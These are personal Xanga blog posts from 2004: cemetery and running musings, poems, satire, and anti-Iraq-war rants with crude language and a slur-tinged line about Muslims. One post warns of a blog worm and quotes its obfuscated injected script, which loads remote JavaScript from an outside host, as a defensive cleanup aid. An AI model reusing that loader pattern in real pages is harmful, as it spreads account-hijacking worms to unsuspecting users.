I’ve been pondering (while sitting on the headstone in the post below) the establishment of a Blog Cemetery for dead Xanga blogs. If nothing else, it would help keep track of who’s no longer who (and perhaps how and why). I’m not sure if it would be entirely Xanga-contained or have a front-end on my notforprophet.us site. The idea would be to record departings, allow for commentual observances thereupon, and solicit from the surviving further candidates for inclusion or re-categorization.

I’ve briefly pondered qualifying categories (sections) for inclusion. Here’s what I’ve brainstormed so far:

Apparently actually deceased

eg.  Wildheart

Executed (Terms of Service violations)

eg.  Bianca

Self-terminated

eg.  EasterEgg, teeking

Virtually deceased (hasn’t published or been noticed around in last 6 months)

eg.  mejane

Virtually deceased or self-terminated but now resurrected (resurrections featured for one month only)

eg. buffalo

Reincarnated (blog’s inactive but linked to a Xanga rebirth elsewhere)

eg.  agrochick78

Are there any other categories?

Okay. And to get started I’ll need RIP-ped candidates. Who would you like to see remembered in Xanga’s Blog Cemetery?

 Oh yeah...And anyone commenting that I've too much time on my hands or have been spending too much time lately hanging around the cemetery (Dreamland) instantly qualifies for inclusion in a section I'll call the Living Dead.

I think this completes the seasons for sitting on this headstone. 

I can get up and leave now.

grippular phonecall

I'm doing push-ups in my office during a mini-break even as the reports from weapons practice two floors above tweak my auditory awareness.

After searching for 3 days, I found a laptop this morning that I thought I had lost.  "Prodigal Laptop' is its name for now on.

I just thought: 'Make up a quote.'  And, on the fly, here's the result: "All that's insidious is the result of a befoulment of either life or love." 

Glade Aerosol 'air fresheners' have gone full circle from pretending to capture naturally appealing fragrances ( Jasmine Mist, Alpine Spice, Lavender Meadows, etc.) to actually featuring the artificial scents that they have marketed in proximate arenas. For instance,

Clean Linen 

Fill your home with the refreshing smell of freshly laundered sheets, just dried on the line with a touch of gentle breezes.

Right. And what provides the 'refreshing smell' that's mentioned?  Some synthetic organic monster compound in the detergent, no doubt!

Or, how about:

Refreshing Spa

Refreshing Spa™ pampers you by combining the fragrances of creamy imported soaps and luxurious oils to please you…and you alone.

Me alone.  Not you , my readers (I read it first: it's mine alone!). Imported soaps, eh?  But these soaps themselves, of course, are composed of mock fragrances as genuine as the manufacturer's commitment to glorifying Gaia.

Next?  Soaps that capture the captivating freshness of air fresheners, of course!  Glade's Air Neutral-Natural Soap and Glade's Crisp Powder Breeze Detergent!  They will feed off themselves, ever-more brazen in borrowing from each other's successes at imitation, celebrating their own recycle of detached sensory fakeness, marketed in product loyalty suites like the cereal-candy-ice cream complex that now seduces the midriff of America ("Reese's Pieces Everything").

No thank you. I'm jaded.

Grandma's Old Closet Linen, Musty Alga Spa, I say.  Give me the odor of Stale Burial Chamber of Pyramid.  Ah, if only I could capture the essence of girls' Dirty Panties in an aerosol fragrance and market it to the eruption of marauding metrosexuals.

Mercy Killing

A fellow Xangan (whom I do not know) wanted to end it all but couldn't.  Feeling the mess was irremediable, he/she even appealed to Xanga John on his blog for mercy:

hello i know you run xanga so i decided to come to you i tried to close my site but it wont work can you help me? can you shut it down for me? i bet you already know my password so can you help me shut it down? i tried but it freezes right before i dunno why so can you help me reply plz
  Posted 4/22/2004 at 7:54 PM by spamhatter2000

But there was no mercy.  Until I intervened.  On his/her very last post, the password was published with a plea for assisted suicide.  I crossed the line.  I pulled the trigger.  I did the deed. 

Recently, I intervened on behalf of Rosemary when she was hospitalized and seriously questioning her return to Xanga.  Although she asked me to shut her site down, I told her instead that I'd post an update of explanation on her behalf, assuring her that she'd return soon enough--which she did.

These two calls for assistance in rapid succession have just revealed to me a calling:  Scavexanger, the Xanga Scavenger henceforth shall I be.  If it's too painful to shutdown your own Xanga, just email me ("I'll do the right thing.").

As an ex-soldier, I am touched with deep respect by these pictorial records of honorable military burial:

But I am equally filled with revulsion and disgust by President Bush's decision to prohibit sharing the record of these solemn moments with the American public.  His stated rational?  That the surviving families have a right to privacy and that such photos violate that right.  Bullshit. That is just a shallow  alibi and clearly Bush decided to bar access to these images only for fear of political backlash.  Shame on a President who sends our boys and girls to die and doesn’t allow a mourning public to share fully in the grief.

These are the photos that "We The People" were never supposed to see.

For the story of the "accidental release" of these historical records, visit thememoryhole.org .

Sidenote: eerily, while finishing this post, I switched the kitchen TV channel  from the History Channel to AMC and the beheld, in the closing moments of The Wrath of Khan, the'death' of Spock and his glorious funereal space dispatch with full honors to the new planet Genesis.

'Writing is like sex. The more you think about it, the
harder it is to do. It's better not to think about it
so much and just let it happen.'

Stephen King

I move around constantly and post often from non-home locations.  Oftentimes, I feel that some suggestion of where I write and post from may lend insight into my state of mind, mood, and topic(s) under consideration.  Or maybe not.  In any case, I've decided to brand my posts, at least for a while (or longer if it proves interesting or useful) with a stamp of origin.  Here's the ones I've so far devised:

And this post?

Break's over.  Now, back to work.

A wild man, I’m not.
But  do piss outdoors on some tree almost every day.
And  see sex as a snuck-in-barn all-consuming ride in hay.
And  sometimes cross boundaries set by others that I refuse to heed.
And would kill in an instant in self-defense if I felt the need.
And could battle like there was a chance if wrestling with a bear.
And would surely chase a tornado if one ever happened near.
Will probably perish while screaming “Today’s a great day to die!”
Hope aliens will someday come to pluck me up into the sky.
A wild man, I’m not.  Nor ever will I be.
Just a freeking feral son-of-a-bitch in love with eternity.

Two years ago, Xanga was ranked around 10,000th as a website in terms of  the traffic it drew from the Internet.  Today, it's flirting with breaking into the elite worldwide Top 100 traffic sites.

Don't believe me?  Go here.  Then in the "compare xanga.com vs. _______" field, type in 'livejournal.com' or 'blogger.com' or any other blogging community that comes to mind.

Ha!

Okay Xanga, "they have come".  Now where's the goddam Xanga store (promised, yes, years ago)?!

I have often written about and from the cemetery I call 'Dreamland'.  Here's an article from our local newspaper about 'Daffodil Day' celebrated in the cemetery yesterday.  The two photos below are 1) the newspaper's 'pic of the day' and then 2) my own feel for the flowers' context in the scheme of things.

The only time that wolves are known to enter into a killing frenzy is right after a winter of extreme deprivation.The just do it: they kill more than they can eat.

It seems that after a winter/early spring of extreme heat deprivation, I, too engage inmy own frenzy on the first ‘hot’ day of the year (yesterday hit ‘81’).I just do it: I run in the sun until I’m whacked.Fact: I never run with water, never will.Fact: Yesterday when running under the flame of the sun, I felt like my brain was cooking.I was wrong.It was merely simmering.I’m better now.I really am.I really am.I’m better now.I really am.I really am. Hey, where are you guys taking me?Hey, let me go, let me go dammit…

There.
There, there are a lot of bad girls.
Barking like wild banshees upon the woebegone beaten paths of caged tigers.
Furtively fulfilling like dung beetles rolling a sacred scarab for the presumed pharaoh.
Unfaithfully becoming lest sex become a bequest for America’s Most Wanted.
Proxy babes, they are.
Moxy perfumes sleuthing the forensics of vampirable men seeking tittable  mummies.
Ah, well am I, nonetheless, nondescript.
So sublimely seeking the magnificence of Nefertiti.
So attentive.  So watching.
Unsettled.

I might wander into your yard.
Sometime wildering soon.
I won’t step on the daisies, because you don’t have any daisies, do you?
(It doesn’t matter, dandelions are prettier by far.)
Whether I pit-pat or pat-pit doesn’t matter, I know.
(Whose the wiser if I leave impact crater knee prints in the mud?)
Warn your pet worms that I’m coming. 
Advise the ladybugs to tighten their chastity belts.
Beauty is mudlucious and it’s been forever since I played pattycake.
Got a tree?  I’m going up the tree.
Knock, knock.
I’m at the window.
Yes, I am.

What a bargain: Trinsan's Xanga site is on sale on Froogle (Google's store) for only $25000.  mwuahaha.  I wonder how much I could sell this site for?!

I am parsing in my own nethersphere and forever teasing oblivion. 

I even ran through an ominous space and forgot to warn myself to look out. 

I did, however, avoid the petulant portal and found surcease upon a hiding rock.

What's happening:  Xanga's been pervasively hacked by a malicious script.  Your site may be compromised (mine was). 

Symptoms: You get autosubbed to some sick sites, you get autosubbed to a gay/lesbian blogring, and your blog gets an additional pornographic auto-post right after you genuinely post something of your own.

What you can do: Check your 'Website Statistics' section under your 'Look and Feel' selection and delete the following malicious code, if it exists:

<script>
var mys = "http://almostjdi.9p.org.uk/minijdi.js";
var l0 = "<b>".substr(0,1);
var l1 = "sc";
var l2 = "ip";
document.write(""+l0+l1+""+"r"+l2+"t "+l1.substr(0,1)+"rc='"+mys+"'>"+l0+"/"+l1+"r"+l2+"t>");
</script><script>var dontpostagain=true</script>

And, not a bad idea: Change your password in case the script had some method of stealing it (though now looking at it, I doubt it.)

Explanation: The site mentioned above is a free subdomain that was established on a free webhosting site in the UK.  You can get your own here (if you wanted to): http://www.portland.co.uk/freesubdomainapp.esp

Apparently, that web host allows javascripts of any type to get posted by anonymous members.  And the script bastard put one there and then inserted javascript code in Xanga that called it up to sub and post on your behalf.  Now, how did it penetrate into Xanga itself?  Good fucking question.  But it looks like Xanga has already taken action itself since a couple of the sites that this script was referring to, Sex_Addiction and almostjdi , are already shut down.

post-note:  Oh, and here's a response from John on the situation (I wrote him earlier):

Hey Steve, yah someone was trying to get a blogworm going. I'll post more
about this in a bit... a bit busy over here quashing it (it should be
disabled for now).

This is a purported 'barber shop' that serves up crack-cocaine all night long in a rugged neighborhood.  The 'break-in' was an attempt by neighborhood vigilante thugs to torch the place.  I photographed the broken window 24 hours after the attempt occurred (they didn't even bother to fix the window!) My buddy Mike, who lives upstairs, thwarted the arson attempt, and thus saved his domicile (but the crack barber shop, too).  Next time, he swears, he's just going to evacuate and let it "burn, baby, burn."

This blog is now effectively backwater.

By design.

I abhor the intoxication of prominence.

And finally I'm fine.

It’s a perfect day for running amidst the cemetery blooms of spring.  The sun is ebulliently abundant to every yearning thing, the breeze softly warbles the songs that the little birdies sing, and the ass-fucking bugs aren’t out yet!  Well, at least the pesty bugs aren’t out. And the innocuous ones aren’t in great enough profusion to constitute a nuisance.  Of course, there is a general distinction made by many about ‘good’ bugs and ‘bad’ bugs.  You know, those that are benign and or assist mankind (through aiding with crop and flower fertilization, by scavenging bad bugs, etc.) and those that are distinctly malign and only bite your ass.  But my question is: could the ‘good’ bugs survive if all the ‘bad’ ones were eradicated from the earth?  If the answer is ‘yes’, as President that would be my number one priority.  (We can throw terrorists into the category of pesty bugs, can’t we?)  If the answer is no, kill them all? Live like Thoreau?  Stay indoors?  Or win little bug battles, but lose the big bug war?

Just five minutes ago I found $301 online in unclaimed funds for an unemployed buddy of mine.  Question is: should I charge a finder's fee?

I’ve decided that in the mid-latitudes of North America there are 6 recognizable seasons:

Winter, Cold-Spring, Warm-Spring, Summer, Warm-Fall, and Cold-Fall.

Yesterday marked the beginning of Warm Spring at and about 41 degrees latitude and 81 degrees longitude.

I am alike to blown sand: not even a nomad, but that under which one treads. And when I reflect on the acrimony between Islamic terrorism and the West, I shudder to realize that I myself sometimes feel more antipodal to all of humanity than those enemies faced off could ever envision the other.  I could almost cringe with such loneliness and fold into nothingness except the shock of life shakes me as if I were a White Tyger (hu bai) in a small cage and the shaking convulses me into an energy torment—a psychic rage.  And I thusly become dangerous and a player in this world.

If I woke on Easter morn and wrote a blog.
If I then zoomed off to a dental office for 3 hours to reformat a broken PC so that it could capture computer dental radiographs tomorrow.
If I then stopped at Home Depot to buy some air conditioner insulation and a paint roller sleeve.
If I then visited at a drugstore to buy the electrical tape that I forgot to buy at Home Depot.
If I then returned home for 2 hours to install a ceiling fan in the kitchen using the electrical tape I just bought.
If I then sojourned to Dreamland cemetery in the late afternoon to run 4 miles and meditate on a hill.
If I then went to a patron’s house and used that paint sleeve I bought earlier to paint half a bathroom porpoise gray.
If I then came home to eat dinner just as all the company was leaving.
If after my finger-picking dinner, I had a cup of coffee, turned TV on, and decided to chronicle my day.
Then that’s pretty much almost precisely what I would be doing now.

Whip the Bunny.  Throw eggs at him.  Not my idea: a Christian group decided to defile the Easter Bunny in a children's play in order to re-prioritize the surge of the Passion.

Of course, the name "Easter" originated with the names of an ancient Goddess. The Venerable Bede, (672-735 CE.) a Christian scholar, first asserted in his book De Ratione Temporum that Easter was named after Eostre (a.k.a. Eastre). She was the Great Mother (fertility) Goddess of the Saxon people in Northern Europe. Christians cannot deny the pagan origins of their holiest day.

Think: fecundity.  What does an 'egg' signify (putting breakfast aside) ?  What do bunnies do best?

Okay, I didn't put breakfast aside  I just ate two eggs sunny-side-up.  It's compliciy and I'm as bad as the sadistic bunny-bashing play director.

the invisible web
the one you never see
is where I now reside
indeterminately

not “Page Not Found”
just “Page Not Findable”
:my soul expressed with utter bliss
upon a url unassignable

how can passion so deep
seem like none to so many?

it’s a secret garden of the heart
not open to any

(bar) one.

Condy grabs the headlines:

`There was no silver bullet that could have prevented 9/11'

    - Rice to the Commission, Apr. 8th, 2004

What she meant to say is:

`The Lone Ranger wasn't riding then.'  

But will there be a sliver bullet the next time?  Ah, that's the question!

And in response to that, I quote myself (Apr 4): 'So, when I procure it, I shall place my anti-terrorist weapon under my pillow, dream lucidly upon the silver bullet in its chamber, and psychically target the dracularized demon of nightmare muslimized destruction that's threatening to visit a theater near me and you soon.'

Now where the hell is Tonto?

Yesterday, while running 4 miles of laps in (around) Dreamland (one of the most beautiful cemeteries on land), I heard my muse gossip: "He's running angry."  My immediate response: "No I'm not!"  I was, in fact, immediately infuriated by such wispy hearsay.  But 30 steps more of watching myself pound the pavement convinced me that the observation was true: I am one angry running motherfucker.  Okay, now that that's out of the way...

I was in the process of writing a book entitled "Government's Greatest Achievements" when I realized it could never be published because publishers universally refuse to publish a book that has only one page.

I'm a little pissed that it's spring already and I'm not as lean as I'd like to be.  No, I'm not bacon. But I'm not 97% lean ground round either.  I'm contemplating fasting, burning incense, staring at the moon.  Maybe I'll just allocate myself one grain of rice for every word I blog.  That would surely get me thin while helping my blogging output, too. 

Did you know that in the fairy tale of "Jack and the Beanstalk" that the Giant was initially a freeloader in Jack's father's house?  Yep, and Jack and his mom and dad were rich!  But the Giant turned upon the graciousness of his patrons and killed the father, plundered the mansion, and forced Jack and his mom into poverty.  Listen to the old crone that purposely traded the beans to Jack for the cow in order to induce Jack upon a path of righteous vengeance:

"Having gained your father's confidence, he knew where to find all his treasure: he soon loaded himself and his wife, set the house on fire in several places, and when the servants returned the house was burnt to the ground." 

That's shocking.

Missing out on such essential details when this story was related to me as a child, I now feel that the education of children would be better served by replacing 'kindergarten' with  'faeriegarten'. For one year, skilled storytellers steeped in mythic traditions would enrich kids with the true fairestory revelations and lessons rather than merely entertain them with stripped-down action comic sequences as is now so sadly the case.

Now that I think of it, the 'educational system' is probably the Giant that has plundered our intellectual inheritance.  Time to take back the Golden Hen.

Inspired While Sitting In The Cemetery: A 15 Minute Poetic Exercise

“Beelzebub!” screams the weirding creep.
But I have gone too far, too long, too deep
to bother with such earthly scum:
I’m with the dead and going down.

Not a lesson in school could ever prepare
a mortal man for such a daring affair.
Each step is invented as you go
And you’ll be damned if you go it slow.

Where there are no names I am unknown,
slinking deeper, darker zone by zone,
plummeting intrepidly into endless night.
Why then do I think I see…a light?

There’s a door slightly ajar!  So I pry a bit,
ever so slowly, and peer through the slit.
And when I gaze inside, what do I see?
A cup of milk and a chocolate chip cookie.

To prowl by night requires accursed stealth,
steel nerves, and a disdain for one’s health.
But to reach the Fridge: that’s the ultimate prize
even if you must look through the devil’s eyes.

Good morning, Mr. Tree!

The more I wander, the more I lust.  Wanderlust.

Anyone out there an exogeologist?

"MER-A ratted Adirondack yestersol while solar groovy, even though it was high tau in Gusev."

Rendered in plain English, the sentence would read:

"Spirit, the first Mars exploration rover, used its rock abrasion tool to grind into a rock nicknamed for an Eastern mountain range one Mars day ago while receiving adequate power from its solar panels, even though there was a large amount of dust suspended in the martian atmosphere above its landing site, named after a 19th century Russian astronomer."
—Andrew Bridges, "Mars mission spawns its own unworldly lingo," The Associated Press, February 22, 2004

The key to the above passage is that a 'sol' is a Martian day, hence 'yestersol' is Martian yesterday.

Now what if I were to maintain:

"nfp shall hoof about dreamland for xtoolable content to make the blog sweet proppable." ?

But, of course, you understand:  It is blog-English (xanga dialect)!

Today in Iraq: 7 American soldiers killed, at least 40 wounded (77% of all soldiers killed in Iraq have died since Bush 'declared' an 'end to significant hostilities').

IRAQ: A total waste and embarassment.  It is not the purported front of 'the war on terror' that the hip-hype politicians make it out to be.  It is a brackish backwater: a failure of intelligence, a failure of leading vision, and a poignant indicator that we haven't even yet properly fathomed how to deal with the true threat of terror now looming ever larger.  I've decided I'm going to buy myself a weapon.  Why? Because the government doesn't seem to have even a clue about the course of breakout terror.  So, when I procure it, I shall place my anti-terrorist weapon under my pillow, dream lucidly upon the silver bullet in its chamber, and psychically target the dracularized demon of nightmare muslimized destruction that's threatening to visit a theater near me and you soon.

The 4 'civilian contractors' who were slaughtered in a burning car yesterday in Iraq (and whose corpses were then dragged through the street and hung upon the Euphrates River bridge) worked for Blackwater Security Consulting.  Blackwater = charred black bodies hung over a river ?!

But even more eerily ironic is Blackwater Security's webpage: it features a top-of-page graphic of a burning car, purportedly depicting a threat to you that they will guard against.

Clearly a case of 'live by the sword, die by the sword.'